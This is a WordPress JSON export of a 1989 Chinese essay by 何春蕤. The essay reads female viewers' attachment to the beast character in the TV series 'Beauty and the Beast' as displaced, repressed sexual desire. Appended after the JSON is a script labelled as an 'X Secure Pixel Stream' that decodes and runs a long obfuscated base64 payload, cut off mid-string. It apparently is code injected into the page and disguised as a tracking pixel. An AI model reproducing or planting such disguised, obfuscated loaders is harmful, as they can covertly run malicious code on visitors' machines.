{"id":3483,"date":"1989-05-15T21:54:47","date_gmt":"1989-05-15T13:54:47","guid":{"rendered":"http:\/\/sex.ncu.edu.tw\/jo_article\/?p=3483"},"modified":"2021-07-06T16:31:21","modified_gmt":"2021-07-06T08:31:21","slug":"%e9%87%8e%e7%8d%b8%e7%9a%84%e9%ad%85%e5%8a%9b","status":"publish","type":"post","link":"https:\/\/sex.ncu.edu.tw\/jo_article\/1989\/05\/%e9%87%8e%e7%8d%b8%e7%9a%84%e9%ad%85%e5%8a%9b\/","title":{"rendered":"\u91ce\u7378\u7684\u9b45\u529b"},"content":{"rendered":"<p><strong><span style=\"color: #0000ff;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright\" src=\"https:\/\/images-na.ssl-images-amazon.com\/images\/M\/MV5BMzUzMjE4MDE2M15BMl5BanBnXkFtZTcwOTU2NjU0MQ@@._V1_UY268_CR3,0,182,268_AL_.jpg\" alt=\"https:\/\/images-na.ssl-images-amazon.com\/images\/M\/MV5BMzUzMjE4MDE2M15BMl5BanBnXkFtZTcwOTU2NjU0MQ@@._V1_UY268_CR3,0,182,268_AL_.jpg\" width=\"224\" height=\"330\" \/>\u3010\u9019\u662f1989\u5e745\u670815\u65e5\u4f55\u6625\u8564\u767c\u8868\u5728\u300a\u81ea\u7acb\u65e9\u5831\u300b\u7684\u7684\u6587\u5316\u7814\u7a76\u7fd2\u4f5c\uff0c\u6536\u5165\u300a\u70ba\u4ec0\u9ebc\u4ed6\u5011\u4e0d\u544a\u8a34\u4f60\uff1a\u6027\u653f\u6cbb\u5165\u9580\u300b\uff0c\u53f0\u5317\uff1a\u65b9\u667a\uff0c1990\u5e74\uff0c91-95\u9801\u3002<a href=\"http:\/\/sex.ncu.edu.tw\/publication\/1990\/why\/pdf\/07.pdf\">\u672c\u6587\u4e4bpdf\u6a94<\/a>\u5728\u6b64\u63d0\u4f9b\u3011<\/span><\/strong><\/p>\n<p>\u64da\u5831\u8f09\uff0c\u96fb\u8996\u5f71\u96c6\u300c\u7f8e\u5973\u8207\u91ce\u7378\u300d\u64ad\u51fa\u4ee5\u4f86\u6df1\u53d7\u5973\u6027\u89c0\u773e\u6b61\u8fce\uff0c\u6700\u8fd1\u9084\u6709\u4e0d\u5c11\u5973\u6027\u89c0\u773e\u53bb\u4fe1\u7d22\u53d6\u300c\u91ce\u7378\u300d\u4e4b\u5287\u7167\uff0c\u9019\u500b\u300c\u91ce\u7378\u6bd4\u7f8e\u5973\u9084\u53eb\u5ea7\u300d\u7684\u73fe\u8c61\u5176\u5be6\u548c\u5973\u6027\u89c0\u773e\u7684\u6027\u5fc3\u7406\u6709\u95dc\uff0c\u503c\u5f97\u5206\u6790\u3002<\/p>\n<p>\u672c\u4f86\u7ae5\u8a71\u6545\u4e8b\u4e2d\u7684\u91ce\u7378\u662f\u88ab\u9b54\u6cd5\u5e2b\u8b8a\u5f62\uff0c\u8981\u7b49\u5230\u627e\u5230\u4e00\u500b\u771f\u5fc3\u611b\u4ed6\u7684\u5973\u4eba\u4e4b\u5f8c\u624d\u53ef\u56de\u5fa9\u539f\u4f86\u82f1\u633a\u7684\u6a21\u6a23\uff0c\u9019\u6a23\u4e00\u500b\u7c21\u55ae\u7684\u300c\u8868\u9762\uff0f\u5167\u5fc3\u300d\u4e3b\u984c\u5728\u7576\u4eca\u7684\u96fb\u8996\u5287\u96c6\u4e2d\u9806\u61c9\u6642\u4ee3\u9700\u8981\u505a\u4e86\u4e0d\u5c11\u8abf\u6574\u3002<\/p>\n<p>\u9996\u5148\uff0c\u5728\u5973\u4e3b\u89d2\u7684\u9020\u578b\u65b9\u9762\u8cbb\u4e86\u4e00\u756a\u5fc3\u6a5f\u3002\u5cf6\u5167\u89c0\u773e\u4e5f\u8a31\u89ba\u5f97\u300c\u7f8e\u5973\u4e0d\u7f8e\u300d\uff0c\u4f46\u662f\u5728\u5287\u96c6\u7684\u4e3b\u8981\u5e02\u5834\uff0d\u7f8e\u570b\uff0c\u5973\u4e3b\u89d2\u51f1\u745f\u7433\u662f\u5b8c\u5168\u7167\u7576\u4eca\u7f8e\u570b\u5973\u4eba\u7684\u7406\u60f3\u5851\u9020\u7684\u3002\u5973\u4e3b\u89d2\u904e\u53bb\u548c\u9b54\u9b3c\u963f\u8afe\u5408\u4f5c\u904e\u4e00\u90e8\u7d05\u6975\u4e00\u6642\u7684\u79d1\u5e7b\u7247\u300c\u9b54\u9b3c\u7d42\u7d50\u8005\u300d\uff0c\u5728\u7247\u4e2d\u98fe\u6f14\u672a\u4f86\u6297\u66b4\u8ecd\u9818\u8896\u7684\u6bcd\u89aa\uff0c\u5982\u4f55\u5c0d\u6297\u81ea\u672a\u4f86\u4e16\u754c\u5dee\u4f86\u7684\u8ffd\u6bba\u8005\u963f\u8afe\uff0c\u4ee5\u7121\u6bd4\u7684\u52c7\u6c23\u8207\u6bc5\u529b\u4fdd\u4f4f\u4e86\u80ce\u5152\uff0c\u6bc0\u6ec5\u4e86\u963f\u8afe\u3002\u9019\u500b\u5f62\u8c61\u5728\u300c\u7f8e\u5973\u8207\u91ce\u7378\u300d\u4e2d\u518d\u5ea6\u51fa\u73fe\uff0c\u5973\u4e3b\u89d2\u51fa\u8eab\u540d\u9580\uff0c\u672c\u662f\u5f8b\u5e2b\uff0c\u53d7\u50b7\u5fa9\u51fa\u5f8c\u6539\u4efb\u6aa2\u5bdf\u5b98\u52a9\u7406\uff0c\u982d\u8166\u6e05\u6670\uff0c\u6bc5\u529b\u6548\u7387\u7686\u6709\u904e\u4eba\u4e4b\u8655\uff0c\u6253\u64ca\u72af\u7f6a\uff0c\u5c62\u5efa\u5947\u529f\uff0c\u9019\u6b63\u662f\u7f8e\u570b\u5973\u6027\u5922\u60f3\u7684\u7576\u4ee3\u5973\u6027\u7406\u60f3\u5f62\u8c61\u3002\u53f0\u7063\u5973\u6027\u89c0\u773e\u5c0d\u5973\u4e3b\u89d2\u9762\u8c8c\u4e0d\u5920\u7f8e\u7684\u5fae\u8a5e\uff0c\u4e8b\u5be6\u4e0a\u662f\u56e0\u70ba\u51fa\u65bc\u672c\u8eab\u9817\u70ba\u50b3\u7d71\u7684\u793e\u6703\u89d2\u8272\u50f9\u503c\u89c0\uff0c\u8981\u6c42\u5973\u4e3b\u89d2\u4e00\u5b9a\u5f97\u6709\u67d0\u4e9b\u7279\u5b9a\u7684\u3001\u5979\u5011\u76f8\u4fe1\u7684\u689d\u4ef6\uff0d\uff0d\u5982\u5a66\u5bb9\u3001\u5a66\u5fb7\u7b49\u7b49\uff0c\u624d\u503c\u5f97\u6587\u68ee\u5982\u6b64\u50be\u5fc3\u5c08\u60c5\uff1b\u7f8e\u570b\u5a66\u5973\u7684\u7406\u60f3\u5f62\u8c61\u65e2\u4e0d\u662f\u53f0\u7063\u5a66\u5973\u7684\u7406\u60f3\uff0c\u7576\u7136\u4e0d\u53d7\u53f0\u7063\u5a66\u5973\u9752\u775e\u3002<\/p>\n<p>\u5973\u4e3b\u89d2\u96d6\u4e0d\u76e1\u5408\u4eba\u610f\uff0c\u7537\u4e3b\u89d2\u537b\u6210\u70ba\u5973\u6027\u89c0\u773e\u7684\u65b0\u5076\u50cf\u3002\u5f88\u591a\u5973\u6027\u89c0\u773e\u6307\u51fa\u300c\u91ce\u7378\u300d\u6587\u68ee\u7684\u6eab\u67d4\u548c\u5c08\u60c5\u662f\u5979\u5011\u6df1\u6df1\u56ae\u5f80\u7684\uff0c\u5728\u5206\u6790\u9019\u500b\u73fe\u8c61\u7684\u540c\u6642\uff0c\u6211\u5011\u9084\u5f97\u554f\u4e00\u500b\u554f\u984c\uff1a\u70ba\u4ec0\u9ebc\u6587\u68ee\u5fc5\u9808\u662f\u534a\u4eba\u534a\u7378\u7684\u9020\u578b\uff1f\u6211\u5011\u53ef\u4ee5\u60f3\u50cf\uff0c\u5982\u679c\u6587\u68ee\u53ea\u662f\u500b\u4eba\uff0c\u9019\u500b\u6545\u4e8b\u7d04\u529b\u91cf\u6703\u5927\u6253\u6298\u6263\uff0c\u5982\u679c\u6587\u68ee\u5168\u7136\u7378\u6027\uff0c\u9019\u500b\u6545\u4e8b\u4e5f\u4e0d\u6703\u6709\u5438\u5f15\u529b\u3002\u56e0\u6b64\uff0c\u6587\u68ee\u7684\u534a\u4eba\u534a\u7378\u6027\u5fc5\u6709\u5176\u6df1\u5c64\u539f\u56e0\uff0c\u624d\u53ef\u80fd\u5438\u5f15\u5973\u6027\u89c0\u773e\u3002<\/p>\n<p>\u5728\u9019\u88e1\uff0c\u6709\u597d\u5e7e\u91cd\u539f\u56e0\u4fc3\u6210\u4e86\u6587\u68ee\u7684\u9020\u578b\u3002\u7576\u7136\uff0c\u6587\u68ee\u5fc5\u9808\u662f\u500b\u4eba\uff0c\u9019\u6a23\u5973\u4e3b\u89d2\u624d\u53ef\u80fd\u548c\u4ed6\u7522\u751f\u53cb\uff08\u611b\uff09\u60c5\uff0c\u4f46\u662f\u6587\u68ee\u4e0d\u80fd\u662f\u500b\u666e\u901a\u4eba\uff0c\u592a\u5e73\u6de1\u7684\u9762\u5b54\u4e0d\u53ef\u80fd\u9054\u5230\u63d0\u4f9b\u6d6a\u6f2b\u5e7b\u60f3\u7684\u76ee\u7684\uff0c\u53ef\u662f\u4e5f\u4e0d\u80fd\u592a\u4fca\u6216\u592a\u919c\u3002<\/p>\n<p>\u5982\u679c\u6587\u68ee\u5916\u8868\u82f1\u4fca\uff0c\u96e3\u514d\u906d\u5230\u5176\u4ed6\u5973\u4eba\u9752\u775e\u6216\u751a\u81f3\u8ffd\u6c42\uff0c\u5287\u4e2d\u5b89\u6392\u4ed6\u9762\u5bb9\u53ef\u6016\u800c\u4e14\u53ea\u5bb9\u8a31\u5973\u4e3b\u89d2\u4e00\u4eba\u64c1\u6709\u4ed6\u5728\u5730\u4e0b\u7684\u79d8\u5bc6\uff0c\u6b63\u662f\u70ba\u4e86\u7d66\u5973\u6027\u89c0\u773e\u53e6\u4e00\u7a2e\u5b89\u5168\u611f\uff0c\u77e5\u9053\u4e0d\u6703\u6709\u5176\u4ed6\u5973\u6027\u7684\u7af6\u722d\uff0c\u4e5f\u6eff\u8db3\u4e86\u7368\u5360\u5fc3\u7406\u3002\u9019\u4e00\u5b89\u6392\u53ea\u6709\u5728\u5973\u6027\u5fc5\u9808\u9760\u5f7c\u6b64\u7af6\u722d\uff0c\u624d\u53ef\u596a\u5f97\u7537\u4eba\u4e4b\u5fc3\u53ca\u81ea\u8eab\u501a\u9760\u7684\u793e\u6703\u4e2d\u624d\u6709\u5438\u5f15\u529b\u3002<\/p>\n<p>\u5982\u679c\u6587\u68ee\u592a\u919c\uff0c\u50cf\u300c\u5df4\u9ece\u8056\u6bcd\u9662\u7684\u99dd\u5b50\u300d\u822c\u6b98\u7f3a\u4e0d\u5168\uff0c\u90a3\u5c31\u53ea\u80fd\u5339\u914d\u4e00\u500b\u906d\u773e\u4eba\u553e\u68c4\u7684\u5993\u5973\uff0c\u800c\u4e14\u53ea\u80fd\u5728\u6b7b\u4ea1\u4e2d\u8207\u5979\u7d50\u5408\uff0c\u9019\u53ef\u6301\u7e8c\u4e0d\u4e86\u4e00\u5b63\u53c8\u4e00\u5b63\u7684\u9023\u7e8c\u5287\u3002\u800c\u4e14\u5c11\u8a31\u7684\u7f3a\u9677\u5c1a\u53ef\u4ee5\u6df1\u60c5\u5f4c\u88dc\uff0c\u5f31\u52e2\u6b98\u969c\u904e\u591a\uff0c\u6050\u6015\u7121\u6cd5\u70ba\u5973\u6027\u89c0\u773e\u63d0\u4f9b\u300c\u53ef\u501a\u9760\u300d\u7684\u5b89\u5168\u611f\uff0c\u56e0\u6b64\u6587\u68ee\u9664\u4e86\u81c9\u90e8\u68d8\u624b\u4e0a\u76ae\u819a\u6709\u4e9b\u7570\u5e38\u5916\uff0c\u56db\u80a2\u5efa\u5728\uff0c\u8eab\u6750\u9ad8\u633a\uff0c\u9084\u662f\u883b\u503c\u5f97\u611b\u7684\u3002<\/p>\n<p>\u5982\u679c\u6587\u68ee\u53ef\u611b\uff0c\u90a3\u9ebc\u70ba\u4ec0\u9ebc\u975e\u628a\u5b83\u8a2d\u8a08\u6210\u4e00\u534a\u7378\u6027\u5462\uff1f\u9019\u500b\u554f\u984c\u7684\u95dc\u9375\u5c31\u5728\u300c\u7378\u6027\u300d\u4e8c\u5b57\u4e0a\u3002\u6587\u68ee\u7684\u7378\u6027\u9664\u4e86\u8868\u73fe\u5728\u81c9\u90e8\u624b\u90e8\u7684\u5316\u7ca7\u5916\uff0c\u5c31\u53ea\u5269\u4e0b\u5979\u6bcf\u7576\u5973\u4e3b\u89d2\u5371\u6025\u6642\u73fe\u8eab\u76f8\u6551\u7684\u904e\u4eba\u883b\u529b\u4e86\u3002\u9019\u4e9b\u8868\u73fe\u53ea\u986f\u793a\u4e86\u6587\u68ee\u662f\u300c\u7378\u300d\uff0c\u4f46\u5c0d\u4ed6\u7684\u300c\u6027\u300d\u537b\u4e00\u9ede\u672a\u63d0\uff0c\u5287\u4e2d\u6587\u68ee\u8207\u5973\u4e3b\u89d2\u7684\u66d6\u6627\u95dc\u4fc2\u4f3c\u4e4e\u4e5f\u523b\u610f\u7684\u6b62\u65bc\u5fc3\u96fb\u611f\u61c9\uff0c\u9664\u5b89\u6170\u5f0f\u7684\u76f8\u64c1\u5916\uff0c\u6de1\u5f97\u4ee4\u4eba\u61f7\u7591\u4ed6\u5011\u5f7c\u6b64\u7684\u76f8\u5438\u529b\u70ba\u4f55\u3002<\/p>\n<p>\u5973\u6027\u89c0\u773e\u88ab\u6587\u68ee\u7684\u4eba\u6027\u6df1\u60c5\u6240\u611f\u52d5\u7684\u771f\u6b63\u539f\u56e0\uff0c\u5176\u5be6\u548c\u9019\u500b\u523b\u610f\u5b89\u6392\u7684\u300c\u7378\u6027\u300d\u8868\u73fe\u812b\u4e0d\u4e86\u95dc\u4fc2\u3002\u5728\u7121\u610f\u8b58\u7684\u5c64\u9762\uff0c\u6545\u4e8b\u4e2d\u6700\u5927\u7684\u8b0e\u4e0d\u662f\u6587\u68ee\u5982\u4f55\u751f\u6210\u534a\u4eba\u534a\u7378\uff0c\u800c\u662f\u6587\u68ee\u80fd\u5426\u548c\u5973\u4e3b\u89d2\u6709\u67d0\u7a2e\u7a0b\u5ea6\u7684\u7d50\u679c\uff0d\uff0d\u4e5f\u5c31\u662f\u4ed6\u5011\u80fd\u4e0d\u80fd\u6709\u6027\u95dc\u4fc2\uff08\u7f8e\u5176\u540d\u66f0\u300c\u7d50\u5408\u300d\uff09\u3002<\/p>\n<p>\u5c31\u5287\u60c5\u7684\u5b89\u6392\u4f86\u770b\uff0c\u7d66\u6587\u68ee\u4e00\u5f35\u7378\u81c9\u800c\u4e0d\u7d66\u4ed6\u56db\u80a2\u8457\u5730\u7684\u7378\u8eab\uff0c\u7576\u7136\u6697\u793a\u4ed6\u80fd\u884c\u300c\u4eba\u9053\u300d\uff0c\u800c\u4e14\u8eab\u6750\u82f1\u633a\uff0c\u9ad4\u529b\u904e\u4eba\uff0c\u4e5f\u63d0\u4f9b\u4e86\u53e6\u4e00\u5c64\u523a\u6fc0\u3002\u6700\u91cd\u8981\u7684\u662f\u6697\u793a\u6587\u68ee\u6709\u7378\u6027\u7684\u7c97\u91ce\u53ca\u66b4\u529b\uff0c\u9019\u4e9b\u8981\u9ede\u90fd\u662f\u7528\u5f71\u50cf\u4f86\u8868\u9054\u7684\uff0c\u5973\u6027\u89c0\u773e\u770b\u5728\u773c\u88e1\uff0c\u8a18\u5728\u7121\u610f\u8b58\u4e2d\uff0c\u537b\u4e0d\u5fc5\u627f\u8a8d\u6709\u5176\u4e8b\u3002\u4f46\u662f\u5728\u53f0\u8a5e\u4e2d\uff0c\u6211\u5011\u53ea\u807d\u898b\u5169\u4eba\u53cb\u60c5\u822c\u7684\u95dc\u61f7\uff0c\u5e73\u6de1\u7684\u554f\u5019\uff0c\u53ca\u6587\u68ee\u6eab\u67d4\u78c1\u6027\u7684\u8072\u97f3\u3002\u9019\u4e9b\u5b89\u6392\u4ee5\u53ca\u5287\u60c5\u4e2d\u4e8c\u4eba\u70ba\u6b63\u7fa9\u651c\u624b\u596e\u9b25\u7684\u9ad8\u8d85\u7406\u60f3\uff0c\u518d\u4e00\u6b21\u51f8\u986f\u4e86\u5287\u96c6\u4e2d\u88ab\u58d3\u6291\u4e86\u7684\u4e2d\u5fc3\u5143\u7d20 \uff0d\u6027\u3002<\/p>\n<p>\u56e0\u6b64\uff0c\u5973\u6027\u89c0\u773e\u53ea\u63d0\u6587\u68ee\u7684\u8072\u97f3\uff0c\u800c\u4e0d\u63d0\u6587\u68ee\u7684\u9ad4\u578b\uff0c\u5c31\u662f\u4e00\u500b\u5f88\u6709\u610f\u601d\u7684\u73fe\u8c61\u4e86\uff1a\u5728\u8996\u89ba\u4e0a\u6709\u95dc\u300c\u6027\u300d\u7684\u4fe1\u606f\uff0c\u88ab\u807d\u89ba\u4e0a\u6709\u95dc\u300c\u611b\u300d\u7684\u4fe1\u606f\u79fb\u63db\uff08displace\uff09\u4e86\u3002<\/p>\n<p>\u70ba\u4ec0\u9ebc\u6587\u68ee\u7684\u7378\u6027\u5438\u5f15\u529b\u5fc5\u9808\u8981\u88ab\u5176\u4eba\u6027\u67d4\u60c5\u6240\u79fb\u63db\uff0c\u624d\u53ef\u80fd\u70ba\u5973\u6027\u89c0\u773e\u6240\u63a5\u53d7\u4e14\u56ae\u5f80\u5462\uff1f\u9019\u548c\u6211\u5011\u6240\u8655\u7684\u9019\u500b\u793e\u6703\u4e2d\u5973\u6027\u5c0d\u300c\u6027\u300d\u7684\u770b\u6cd5\u6709\u95dc\u3002\u7c21\u55ae\u5730\u4f86\u8aaa\uff0c\u5973\u6027\u8a8d\u70ba\u6027\u7684\u4eab\u53d7\u5fc5\u9808\u548c\u611b\u60c5\u9023\u5728\u4e00\u8d77\uff0c\u56e0\u6b64\u5979\u5011\u7121\u6cd5\u60f3\u50cf\u548c\u4e00\u500b\u6c92\u6709\u611f\u60c5\u7684\u4eba\u505a\u611b\u800c\u5145\u5206\u7684\u4eab\u53d7\u6027\uff1a\u7531\u65bc\u5c0d\u5979\u5011\u4f86\u8aaa\uff0c\u6027\u4e0d\u662f\u8089\u9ad4\u7684\u9700\u6c42\uff0c\u800c\u5fc5\u9808\u727d\u6d89\u5230\u5fc3\u7406\u7684\u611f\u60c5\uff0c\u56e0\u6b64\u624d\u6709\u90a3\u9ebc\u591a\u5973\u6027\u5f88\u96e3\u5728\u6027\u4e0a\u9762\u5f97\u5230\u6eff\u8db3\u53ca\u4eab\u53d7\u3002\u5982\u679c\u6587\u68ee\u662f\u7d14\u7136\u7684\u7378\u6027\u5438\u5f15\u529b\uff0c\u5973\u6027\u89c0\u773e\u5f88\u96e3\u5c0d\u4ed6\u7522\u751f\u597d\u611f\u800c\u4e0d\u5e36\u4e0a\u4e00\u4e9b\u7f6a\u60e1\u611f\uff0c\u5287\u96c6\u4e2d\u5b89\u6392\u6587\u68ee\u7684\u67d4\u60c5\uff0c\u6b63\u662f\u70ba\u4e86\u7d66\u5973\u6027\u89c0\u773e\u4e00\u9846\u5b9a\u5fc3\u4e38\uff0c\u5979\u5011\u53ef\u4ee5\u5229\u7528\u6587\u68ee\u7684\u67d4\u60c5\u4f86\u5408\u7406\u5316\u6587\u68ee\u7684\u300c\u6027\u300d\u5438\u5f15\u529b\u3002<\/p>\n<p>\u7e3d\u800c\u8a00\u4e4b\uff0c\u8868\u9762\u4e0a\uff0c\u5973\u6027\u662f\u70ba\u6587\u68ee\u7684\u4eba\u6027\u67d4\u60c5\u6240\u5438\u5f15\uff0c\u5be6\u969b\u4e0a\uff0c\u6587\u68ee\u7684\u300c\u7378\u6027\u300d\u624d\u662f\u95dc\u9375\u3002\u63db\u53e5\u8a71\u8aaa\uff0c\u5973\u6027\u89c0\u773e\u6108\u559c\u6b61\u6587\u68ee\uff0c\u5c31\u6108\u986f\u5176\u6027\u58d3\u6291\u7684\u672c\u8cea\u8207\u5f37\u5ea6\u3002<\/p>\n<p>\u7531\u4ee5\u4e0a\u7684\u5206\u6790\u4f86\u770b\uff0c\u5973\u6027\u89c0\u773e\u7684\u793e\u6703\u8655\u5883\u5c31\u5f88\u6e05\u695a\u4e86\uff1a\u5979\u5011\u7684\u74b0\u5883\u662f\u5371\u96aa\u7684\uff0c\u56e0\u6b64\u6587\u68ee\u4f5c\u70ba\u4fdd\u8b77\u5929\u4f7f\u7684\u89d2\u8272\u624d\u90a3\u9ebc\u8a0e\u597d\uff1b\u5979\u5011\u662f\u7121\u529b\u7121\u52a9\u7684\uff0c\u56e0\u6b64\u9700\u8981\u6587\u68ee\u4ee5\u6b63\u7fa9\u7684\u7406\u60f3\u70ba\u5973\u4e3b\u89d2\u7684\u7a4d\u6975\u6027\u683c\u63d0\u4f9b\u7406\u7531\uff0c\u4e26\u70ba\u5973\u4e3b\u89d2\u8d74\u96aa\u6642\u63d0\u4f9b\u89e3\u6c7a\u4e4b\u6cd5\uff08\u9023\u89c0\u773e\u4e5f\u660e\u767d\uff0c\u82e5\u662f\u6c92\u6709\u6587\u68ee\uff0c\u5973\u4e3b\u89d2\u4e00\u500b\u4eba\u662f\u8fa6\u4e0d\u4e86\u4ec0\u9ebc\u4e8b\u7684\uff09\uff1a\u5979\u5011\u5728\u6027\u65b9\u9762\u662f\u58d3\u6291\u7684\uff0c\u53ea\u80fd\u900f\u904e\u6587\u68ee\u7684\u8072\u97f3\u5c0b\u6c42\u6eff\u8db3\uff0c\u800c\u4e0d\u80fd\u6b63\u8996\u6587\u68ee\u7684\u7c97\u91ce\u7378\u6027\u6240\u63d0\u4f9b\u7684\u5438\u5f15\u529b\u3002<\/p>\n<p>\u5973\u6027\u89c0\u773e\u82e5\u662f\u8a8d\u6e05\u4e86\u81ea\u8eab\u7684\u8655\u5883\u548c\u88ab\u5851\u9020\u51fa\u4f86\u7684\u5fc3\u7406\u9700\u8981\uff0c\u6216\u8a31\u4fbf\u662f\u505c\u6b62\u7531\u5e7b\u60f3\u4e2d\u7372\u5f97\u6eff\u8db3\uff0c\u800c\u958b\u59cb\u5728\u73fe\u5be6\u4e2d\u5275\u9020\u771f\u6b63\u7684\u5feb\u6a02\u8207\u4eab\u53d7\u7684\u5951\u6a5f\u4e86\u3002<\/p>\n<p><strong><span style=\"color: #ff0000;\">\u8f49\u8f09\u672c\u6587\u8acb\u4fdd\u7559\u7db2\u9801\u8a3b\u8a18<\/span><\/strong><\/p>\n<input type=\"hidden\" id=\"url3483\" class=\"posturl\" value=\"https:\/\/sex.ncu.edu.tw\/jo_article\/1989\/05\/%e9%87%8e%e7%8d%b8%e7%9a%84%e9%ad%85%e5%8a%9b\/\" \/>\n\t\t\t\t\t<input type=\"hidden\" id=\"com3483\" class=\"postcom\" value=\"0\" \/>","protected":false},"excerpt":{"rendered":"<p>\u3010\u9019\u662f1989\u5e745\u670815\u65e5\u4f55\u6625\u8564\u767c\u8868\u5728\u300a\u81ea\u7acb\u65e9\u5831<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[286,263,148,464],"class_list":["post-3483","post","type-post","status-publish","format-standard","hentry","category-26","tag-286","tag-263","tag-148","tag-464"],"_links":{"self":[{"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/posts\/3483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/comments?post=3483"}],"version-history":[{"count":1,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/posts\/3483\/revisions"}],"predecessor-version":[{"id":6706,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/posts\/3483\/revisions\/6706"}],"wp:attachment":[{"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/media?parent=3483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/categories?post=3483"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sex.ncu.edu.tw\/jo_article\/wp-json\/wp\/v2\/tags?post=3483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: X Secure Pixel Stream -->
<script>
    window.XTracker_TYKW = {
        loaded: true,
        version: "2.6.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x8105c35d0b20=atob('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